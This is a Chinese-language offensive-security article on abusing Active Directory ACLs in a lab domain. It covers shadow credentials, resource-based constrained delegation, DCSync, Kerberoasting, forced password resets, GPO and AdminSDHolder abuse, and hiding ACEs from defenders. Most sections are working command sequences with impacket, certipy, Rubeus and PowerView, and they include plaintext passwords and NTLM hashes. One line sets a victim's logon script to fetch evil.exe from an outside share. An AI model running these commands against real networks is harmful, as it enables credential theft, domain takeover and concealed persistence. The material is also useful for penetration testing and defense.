0x00 ACL概述
域架构可以看作所有ACL的整合,域中所有对象都有自己的ACL。当对象A访问B的时候,A出示自己的sid以及特权列表等信息,B通过查看自己的ACL判断A是否有权限访问。
ACL分为DACL和SACL,DACL和SACL又是由若干ACE构成。
DACL代表了每个用户之间的权限分配,比如alice对当前用户dandy有完全控制权限:
SACL的作用是记录对象访问成功与否:
具体关于对安全描述符的解析可以参考:https://www.anquanke.com/post/id/197113
ACL滥用在常规域漏洞打完不生效、或者是拿下整个域后设置后门都是一种好的利用手法。当谈论基于 ACL 滥用时,一般都指自由访问控制列表 (DACL) 的访问控制条目 (ACE)。
0X01 常见的对象权限和类型
Generic_write=WriteProperty + ReadPermissions + All validated rights
GenericAll - 完全控制权限
WriteDACL - 具备修改对象 ACE的能力 -> GenericAll
WriteOwner - 更改对象write owner的能力 -> GenericAll
GenericWrite - 更新对象属性的能力
AllExtendedRights - 具备所有拓展权限(将计算机添加到域的用户会自动获得此权限)
Self-Membership - 将自己添加到组中的能力
0x02 利用
WriteDacl
WriteDacl可以修改对象的 ACE,让指定用户对目标具有GenericAll权限。
添加
拿下域权限后添加smith对dandy的WriteDacl权限:
lex
滥用
通过smith设置任意用户到dandy的GenericAll属性(以smith举例):
ldap_shell
至此smith可滥用对dandy的所有属性。
WriteOwner
WriteOwner可以修改Owner为自己本身,Owner 又默认拥有WriteDacl 和 READ/CONTROL权限,可以设置让自身对目标具有GenericAll权限。
添加
拿下域权限后添加jenny对kane的WriteOwner权限:
lex
adfind查询:
AdFind.exe -b "CN=kane,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr jenny
滥用
ldap_shell
[1]将kane的owner改为自己(jenny)
set_owner kane jenny
[2]owner有read/control等权限,赋予jenny对kane的GenericAll权限
set_genericall kane jenny
至此jenny可滥用对kane的所有属性。
shadow credentials
GenericAll,GenericWrite,WriteDACL,WriteOwner,WriteProperty(msDS-KeyCredentialLink) over the target.
ms-DS-Key-Credential-Link Guid:5B47D60F-6090-40B2-9F37-2A4DE88F3063
PKINIT 是 Kerberos 预认证的非对称密钥方法(对称方法依赖于客户端的密码),在滥用 Key Trust 时,实际上是在向目标帐户添加替代凭据,从而允许获取 TGT 并用于后续操作。即使用户/计算机更改了密码,这些影子凭据也会保留。
1.默认Domain admins、Key Admins、Enterprise Key Admins组有对域内所有msDS-KeyCredentialLink属性的写入权限 。
2.机器账户有对自身msDS-KeyCredentialLink 的写入权限。
3.对用户对象具有GenericAll/WriteOwner/WriteDACL权限的用户。
滥用前提:
至少一个 Windows Server 2016 域控制器。
安装在域控制器上的服务器身份验证数字证书。
Active Directory 中的 Windows Server 2016 功能级别。
添加
拿下域后,通过高权限账户设置alice对DC1$的msDS-KeyCredentialLink的WriteProperty权限:
1.ldap_shell
dacl_modify DC1$ alice add 5B47D60F-6090-40B2-9F37-2A4DE88F3063
2.lex
adfind查询:
AdFind.exe -b "CN=DC1,OU=Domain Controllers,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr alice
滥用
certipy添加DC1$的msDS-KeyCredentialLink属性,并将证书转换为TGT(返回的PAC中同样包含了ntlm hash)
也可以直接auto dump出目标hash
certipy shadow auto -u alice@redteam.lab -p '1qaz@WSX' -account dc1
DC机器账户具有dcsync权限,利用证书中提权出来的ntlm hash进行dcsync
python3 secretsdump.py 'redteam.lab/DC1$'@192.168.132.130 -hashes :ae854cc8401465667695085104dcbfd2 -just-dc-user administrator
RBCD
GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity/Account Restrictions) over the target user/computer.
Account Restrictions Guid:4c164200-20c0-11d0-a768-00aa006e0529
msDS-AllowedToActOnBehalfOfOtherIdentity Guid:3F78C3E5-F79A-46BD-A0B8-9D18116DDC79
如果对计算机对象/域用户具Account Restriction和msDS-AllowedToActOnBehalfOfOtherIdentity属性的WriteProperty,就能进行基于资源约束委派的利用。
基于资源的约束委派(Computer)
添加
分两种情况:
(1).creator-sid 用户:
alice-workstation由alice拉入域中,则alice默认就具有alice-workstation的Account Restriction的WriteProperty权限
(2).拿下域权限后添加bob对alice-workstation$的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限
1.ldap_shell
dacl_modify alice-workstation$ bob add 3F78C3E5-F79A-46BD-A0B8-9D18116DDC79
2.lex
adfind对alice-workstation的acl进行查询:
AdFind.exe -b "CN=alice-workstation,CN=Computers,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++
滥用
以bob对alice-workstation$滥用进行演示:
域用户默认能添加10台计算机入域(maq),以bob的身份添加bob-evil$
python3 addcomputer.py -method SAMR -dc-ip 192.168.132.130 -computer-name bob-evil -computer-pass 1qaz@WSX "redteam.lab/bob:Qq123456.."
设置bob-evil到alice-station$的rbcd
python3 rbcd.py redteam.lab/bob:Qq123456.. -action write -delegate-to 'alice-station$' -delegate-from 'bob-evil$' -dc-ip 192.168.132.130
约束委派生成administrator对alice-station$的cifs ST票据
python3 getST.py -spn cifs/alice-station.redteam.lab 'redteam.lab/bob-evil$:1qaz@WSX' -impersonate administrator -dc-ip 192.168.132.130
导入票据并获得一个wmi的交互式shell
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py administrator@alice-station.redteam.lab -k -no-pass
基于资源的约束委派(User)
前段时间,老外已经研究出了这种利用方式:
在maq=0的情况下,攻击者无法创建机器账户,可以通过域用户rbcd到域机器账户进行滥用。
添加
跟上面一样,alice-station由alice拉入域中,所以alice具有alice-station$域用户的msDS-AllowedToActOnBehalfOfOtherIdentity的WriteProperty权限。
设置bob到alice-station$到bob的rbcd:
python3 rbcd.py redteam.lab/alice:Qq123456.. -action write -delegate-to 'alice-station$' -delegate-from 'bob' -dc-ip 192.168.132.130
滥用
getST.py生成administrator对alice-station的cifs ST票据:
python3 getST.py -spn cifs/alice-station.redteam.lab 'redteam.lab/bob:Qq123456..' -impersonate administrator -dc-ip 192.168.132.130
在S4U2self阶段报错:Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN。
这是因为用户默认没有注册SPN,KDC无法选择正确的密钥来解密,所以在S4U2Self才会失败。如果将 SPN 添加到bob就能成功从KDC申请ST票据,这意味着这不是用户帐户本身的问题,而只是 KDC 无法选择正确密钥进行解密。
U2U实现了用户到用户的身份验证拓展,在S4U2Proxy阶段KDC会尝试使用bob的Long-term key(bob 的hash)进行解密,但U2U会使用附加到TGS-REQ当中的TGT会话密钥加密之后的票据,KDC无法正常解密。这时可以利用SamrChangePasswordUser在S4U2Self和S4U2Proxy中间将bob的hash更改成U2U对TGT加密密钥的值,KDC就能成功解密并颁发ST票据。
具体可参考:https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg
Rubeus.exe s4u /user:bob /domain:redteam.lab /dc:dc1.redteam.lab /rc4:5E95607216D9A4B7654D831BEB9EE95C /impersonateuser:Administrator /msdsspn:cifs/alice-station.redteam.lab
impacket利用
以设置普通域用户dandy基于资源约束委派到dc1$为例,这里直接粗暴利用administrator设置rbcd
# 设置dandy到dc1$的RBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'dc1$' -delegate-from 'dandy' -dc-ip 192.168.134.130
# 使用dandy的hash生成TGT(ntlm hash使用RC4加密)
getTGT.py -hashes :$(pypykatz crypto nt 'Qq123456..') 'redteam.lab/dandy' -dc-ip 192.168.134.130
# 获取dandyTGT的Session Key
python3 describeticket.py dandy.ccache | grep 'Ticket Session Key'
# 将dandy的hash设置为Session Key
python3 smbpasswd.py -newhashes :c592bc40c1908aff4787f4f4db7f0a82 'redteam/dandy:Qq123456..'@dc1.redteam.lab
# 导入TGT
export KRB5CCNAME=dandy.ccache
# 利用u2u获取dc1的host service的ST
python3 getST.py -u2u -impersonate administrator -spn "host/dc1.redteam.lab" -k -no-pass 'redteam.lab/dandy'
# 导入ST
export KRB5CCNAME=administrator@host_dc1.redteam.lab@REDTEAM.LAB.ccache
# WMI
python3 wmiexec.py administrator@dc1.redteam.lab -k -no-pass
注:SamrChangePasswordUser受域组策略影响,域内默认且普遍存在密码策略,可能不能做到及时改回密码。如果肯定通过当前域用户能拿下DC的话可以进行尝试,利用成功后将用户密码改为原来的值。
Self (Self-Membership) on Group
GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(member) over the target group.
member Guid:BF9679C0-0DE6-11D0-A285-00AA003049E2
如果用户有对目标组有WriteProperty(member) 的权限时,可以滥用 Self (Self-Membership) on Group 权限,可将任意用户添加至受害组。
通常作用于domain admins 、exchange windows permission、exchange trusted subsystem、backup operators等组。
添加
拿下域权限后添加dandy对domain admins的member属性的WriteProperty权限:
1.ldap_shell
dacl_modify "domain admins" dandy add BF9679C0-0DE6-11D0-A285-00AA003049E2
2.lex
adfind查询:
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy
滥用
add bob to domain admins
1.ldap_shell
2.cmd
logon script
GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(scriptPath/Logon Information) over the target user.
ScriptPath Guid:BF9679C0-0DE6-11D0-A285-00AA003049E2
Logon information Guid:5F202010-79A5-11D0-9020-00C04FC2D4CF
如果用户有对目标WriteProperty(scriptPath或Logon Information)的权限时,可以滥用logon script权限,在受害者登录时执行自定义脚本。
添加
拿下域后设置dandy对bob具有WriteProperty的Logon Information权限:
1.ldap_shell
dacl_modify bob dandy add 5F202010-79A5-11D0-9020-00C04FC2D4CF
2.lex
adfind查询:
AdFind.exe -b "CN=bob,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy
滥用
powershell
Set-DomainObject -Identity bob -Set @{'scriptpath'='\\192.168.132.100\evil.exe'} -Verbose
Targeted Kerberoasting
GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(servicePrincipalName) over the target user.
servicePrincipalName Guid:F3A64788-5306-11D1-A9C5-0000F80367C1
通过将任意无意义的SPN ( ServicePrincipalName) 添加到该帐户。一旦帐户具有 SPN,就能对其进行Kerberoasting,如果目标密码较弱,则可能被攻击者成功离线爆破。
添加
拿下域权限后添加allen对alice的servicePrincipalName的WriteProperty权限(alice为普通域用户,没有注册SPN):
1.ldap_shell
dacl_modify alice allen add F3A64788-5306-11D1-A9C5-0000F80367C1
2.lex
adfind查询:
AdFind.exe -b "CN=alice,CN=Users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr allen
滥用
1.targetedKerberoast.py
python3 targetedKerberoast.py -d redteam.lab -u allen -p Qq123456.. --dc-ip 192.168.132.130 -vv
通过verbose输出可以看到,对于每个没有 SPN 的用户,targetedKerberoast会尝试设置一个SPN(滥用servicePrincipalName
属性的写入权限),打印hashcat格式的用户hash,然后删除设置的SPN。
2.powershell
# Make sur that the target account has no SPN
Get-DomainUser 'alice' | Select serviceprincipalname
# Set the SPN
Set-DomainObject -Identity 'alice' -Set @{serviceprincipalname='abc/qweasdzxc'}
# Obtain a kerberoast hash
$User = Get-DomainUser 'alice'
$User | Get-DomainSPNTicket | fl
# Clear the SPNs of the target account
Set-DomainObject -Identity alice -Clear serviceprincipalname
注:SPN 分机器账户和普通域用户;机器账户默认包含SPN属性,但其密码30天会自动更改,并且长度为随机的120字符,基本不存在爆破成功的可能,所以Kerberoasting利用工具都排除了机器账户的利用。
Force Change Password
GenericAll,WriteDacl,WriteOwner,AllExtendedRights(Reset Password) over the target user/computer.
Reset Password Guid:00299570-246d-11d0-a768-00aa006e0529
ChangeNTLM
如果拿到了一个域用户的hash但解不出来,能调用SamrChangePasswordUser
将该域用户重置新的明文密码或hash。利用需要对目标用户有Change Password权限,该权限一般是everyone拥有的,所以基本上拿到目标用户的hash/密码后都可以进行密码更改。
比如抓到alice的hash为5e95607216d9a4b7654d831beb9ee95c
python3 smbpasswd.py redteam/alice@redteam.lab -hashes :5e95607216d9a4b7654d831beb9ee95c -newpass '123QWE&*('
ChangeNTLM利用受域内组策略影响,如果域内密码策略进行了限制,比如设置了密码最短使用期限为1天,这样每天只能修改一次密码。并且如果测试设置了强制密码历史规则时,则在更改次数内不能将密码修改为原密码。
SetNTLM
SetNTLM调用SamrSetInformationUser
,能在不知道域用户密码的情况下将其重置为新的密码或hash,利用需要对要修改的用户有Reset Password权限(域管默认拥有)。
比如拿下了整个域,但dandy的hash解不出来,就能直接通过域管重置dandy的密码:
python3 smbpasswd.py redteam/dandy@redteam.lab -newpass '123!@#QWE' -altuser redteam/administrator -altpass Qq123456.. -debug -admin
当使用-admin 参数时,smbpasswd.py会自动调用SamrSetInformationUser
对目标密码进行修改。
两种修改密码的方式都有各自的优缺点,攻击者可以设置acl让任意账户对特定账户有Reset Password权限,从而达到不知道目标用户密码也能对其进行修改的目的。
添加
拿下域权限后设置allen到alice的AllExtendedRights中的Reset Password权限,可在不知道alice密码的情况下用allen修改他的密码。
lex
adfind查询:
AdFind.exe -b "CN=alice,CN=users,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr allen
滥用
1.impacket
python3 smbpasswd.py redteam/alice@redteam.lab -newpass '123qwe!@#' -altuser redteam/allen -altpass Qq123456.. -admin
2.powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'alice' -AccountPassword $NewPassword
Dcsync
GenericAll,WriteDacl,WriteOwner,AllExtendedRights(DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) over the basedn.
如果域对象具备以下两个权限,就能dcsync:
DS-Replication-Get-Changes = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
添加
拿下域后设置smith对DC=redteam,DC=lab的WriteDacl权限,然后smith就能设置任何用户的Dcsync属性:
1.ldap_shell:
dacl_modify DC=redteam,DC=lab smith add WriteDacl
2.lex:
adfind查询:
AdFind.exe -b "DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr smith
滥用
以设置tom用户的dcsync属性为例:
1.dcsync.py
python3 dcsync.py -dc dc1.redteam.lab -t 'CN=tom,CN=Users,DC=redteam,DC=lab' 'redteam\smith:Qq123456..'
2.powershell
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=lab" -PrincipalIdentity tom -Rights DCSync -Verbose
adfind查询:
AdFind.exe -s subtree -b "DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr tom
dump hash
python3 secretsdump.py redteam.lab/tom:'Qq123456..'@192.168.132.130 -just-dc-user administrator
清除:
python3 aclpwn.py -r aclpwn-20220926-150940.restore
evil GPO
GenericAll,GenericWrite,WriteDacl,WriteOwner,WriteProperty(gPCFileSysPath) over the policy.
在对域内某一GPO具有修改权限时,能对GPO内的对象添加用户权限、添加一个本地管理员、配置一个用户或计算机登录脚本、配置计算机或用户立即执行的任务等进行滥用。
每个OU都有一个唯一id,名为saler的OU的id为E9AFFCC6-5582-4F88-9483-D906A4E35FA8:
GPO又分为GPT和GPC存储:
GPT包含了组策略的配置信息。
GPC里的gPCFileSysPath链接到GPT。在LDAP中的CN=Policies,CN=System,DC=domain,DC=name目录下,每个OU都对应一个GPC,并且GPC名称与OU的id一致。
对GPO进行滥用其实本质上就是修改
\domain.name\SysVol\domain.name\Policies{GPO_GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf相关的GPO文件。
添加
有的域会存在委派用户对特定OU具有修改权限的情况,比如alice对saler policy存在编辑权限:
1.LEX
2.powershell
$RawObject = Get-DomainGPO -Raw -Identity '市场部-A组-北京-交付-组策略'
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity evilss -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()
至此evilss对市场部-A组-北京-交付组策略有GenericAll权限
bloodhound
SharpGPOAbuse
以将backdooruser添加到本地管理员组为例
GPO 每 90 分钟更新, 或者使用gpupdate /force
强制更新。
AdminSDHolder
GenericAll,WriteDACL,WriteOwner over CN=AdminSDHolder,CN=System,DC=domain,DC=name.
AdminSDHolder位于AD中的system下,可以看成是域内很多个组例如Domain Admins、Domain Controllers、Enterprise Admins等组的集合,如果一个用户能完全控制AdminSDHolder,那么它就能同时控制这个集合里面的所有组。
AdminSDHolder通过SDProp保护,防止受保护对象(admincount=1的用户和组,例如domain admins)被恶意或者无意修改。检查将以AdminSDHolder ACL为准,如果受保护对象的ACL与AdminSDHolder中的不一致,SDProp进程将重写该保护对象的ACL,使其恢复与AdminSDHolder容器相同的ACL配置。
添加
为dandy设置AdminSDHolder的GenericAll:
1.lex
2.powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName dandy -Verbose -Rights All
adfind查询:
AdFind.exe -b "CN=AdminSDHolder,CN=System,DC=redteam,DC=lab" -sdna nTSecurityDescriptor -sddl+++ | findstr dandy
SDProp默认每60分钟运行一次,可以通过ldp.exe或者修改注册表的方式强制更新。
滥用
通过dandy添加smith到domain admins组:
1.ldap_shell:
2.cmd:
LAPS
GenericAll,WriteDacl,WriteOwner,AllExtendedRights over the target computer.
LAPS(本地管理员密码解决方案)为域中每台域机器的公共本地管理员用户设置不同的随机密码,解决了臭名昭著的PTH,使用该解决方案的域管可以确定哪些用户有权读取LAPS的密码。
添加
如果A机器启动了LAPS,那么对A机器拥有AllExtendedRights权限的用户可以查看A的LAPS的密码:
lex
滥用
adinfo
./Adinfo_darwin -d redteam.lab --dc 192.168.132.130 -u bob -p Qq123456.. --checkLAPS
adexplorer查看
WriteSPN
0x03 LEX、Adfind图示
GenericWrite
GenericDACL
WriteProperty
GenericAll
AllExtendedRights
0x04 隐藏ACL
通过隐藏账户可以掩盖主体本身,阻止防御者轻易的发现谁实际上拥有ACE中指定的权限。这种方式主要应对的是对于高危的ACL进行扫描行为。隐藏用户
1、将要隐藏的用户所有者改为攻击者或者攻击者控制的账户
2、设置一条拒绝完全控制的ACE添加SELF用户和Everyone用户拒绝类型,将要修改的组/用户名的所有者改为攻击者控制的用户名
之后就会变成一片空白,powerview也查不到
Get-DomainObjectAcl -Identity user01 -domain DOMAIN.local -Resolve
0x05 小结
文章演示了一些常见的ACL利用场景。ACL利用的方式多种多样,其中还有很多没提到的用法,比如依照DENY ACE的优先度大于ALLOW ACE的特性设置“不可见”的OU、配合relay实现添加shadow credentials/dcsync等。
0x06 参考
https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/
https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
https://www.anquanke.com/post/id/197113?display=mobile
https://www.thehacker.recipes/ad/movement/dacl
https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse
https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
History
- Created 2022-10-22 05:51
- Published 2022-10-11 05:51
- Updated 2024-11-10 14:34